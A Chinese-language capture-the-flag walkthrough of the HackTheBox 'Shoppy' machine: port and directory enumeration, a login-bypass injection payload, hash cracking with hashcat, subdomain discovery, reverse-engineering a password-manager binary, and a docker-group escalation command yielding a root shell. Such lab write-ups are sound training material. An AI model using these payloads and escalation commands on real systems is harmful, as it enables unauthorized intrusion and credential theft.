开始

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_hackthebox

网址:

https://app.hackthebox.com/machines/Shoppy

信息搜集

使用nmap扫描ip

nmap -sC -sV -p- 10.10.11.180

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_hackthebox_02

根据扫描结果,发现了一个域名,我们需要本地dns解析这个域名

echo "10.10.11.180 shoppy.htb" >> /etc/hosts

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_安全_03

网站信息收集

我们需要安装一个字典

apt install seclists

然后枚举网站的目录

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -t 100 -mc 200,302,301 -u http://shoppy.htb/FUZZ

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_网络安全_04

发现了后台什么的,我们去浏览器页面看看

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_安全_05

我尝试了一下万能密码,没想到成功了

admin'||'1==1

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_hackthebox_06

登录后台后,右上角有一个搜索用户的图标,我们继续输入万能密码试试

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_字符串_07

按下回车后有一个下载的图标

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_hackthebox_08

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_安全_09

这里找到了两个账户密码的hash值,然后我用hashcat爆破,发现admin爆不出来,而josh用户的可以

echo "6ebcea65320589ca4f2f1ce039975995" > hash
hashcat -m 0 hash /usr/share/wordlists/rockyou.txt

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_hackthebox_10

我之前爆破过,这里就直接出现密码了,我用这个用户名和密码登录ssh,发现不对,可能还有哪里的信息搜集没做完,这里的用户名和密码可能是另一个网站的,我们可以枚举一下网站的子域名

gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u shoppy.htb

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_安全_11

这里找到一个子域名,我们将他也解析一下

echo "10.10.11.180 mattermost.shoppy.htb" >> /etc/hosts

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_安全_12

然后去浏览器里看看

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_字符串_13

发现了一个登录的页面,我们输入之前爆破的用户名和密码试试

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_linux_14

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_网络安全_15

获取用户权限

成功登录,在这里可以发现ssh的账号和密码,我们ssh登录试试

ssh jaeger@10.10.11.180

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_hackthebox_16

获取root权限

文件静态分析

sudo -l

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_安全_17

我检查了一下当前用户可以使用sudo命令执行什么,发现了一个奇怪的文件,我们将这个文件下载到kali里
注意,这里需要移动到文件的目录里

python3 -m http.server 1234

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_linux_18

然后用kali下载这个文件

wget http://10.10.11.180:1234/password-manager

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_字符串_19

获取文件信息

file password-manager

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_linux_20

这是一个64位的可执行文件,然后用radare2静态分析这个程序

r2 password-manager

然后输入指令,定位到主函数地址

aaa  //自动分析并命名函数
afl  //查看程序内的函数

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_网络安全_21

这里找到了main函数,然后去到main函数的地址并查看汇编代码

s main  //定位到main函数地址
pdf  //查看当前函数的汇编代码

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_linux_22

这是一个c++写的程序,运行程序的之后会输出Welcome to Josh password manager!字符串

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_linux_23

然后输出Please enter your master password:字符串,并接受我们的输入

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_字符串_24

在下面,程序会和我们输入的字符和Sample字符一个一个的做对比

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_网络安全_25

我们输入的字符串是Sample后,会输出Access granted! Here is creds !字符串,表示我们输入正确,然后会执行一个系统命令,查看/home/deploy/creds.txt文件内容

用ida查看文件,也和我们分析的一样

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_网络安全_26

回到靶机,运行程序,输入Sample

sudo -u deploy ./password-manager

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_字符串_27

docker越权提权

我们获得了deploy用户的账号和密码,然后切换账号

su deploy

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_linux_28

在输入id的时候,发现了这个用户在docker组里

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_安全_29

去到这个网站,ctrl+f搜索docker

https://gtfobins.github.io/

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_网络安全_30

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_安全_31

输入此命令,即可获得root shell

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_字符串_32

HackTheBox Shoppy 枚举获得账户密码 docker越权提权_hackthebox_33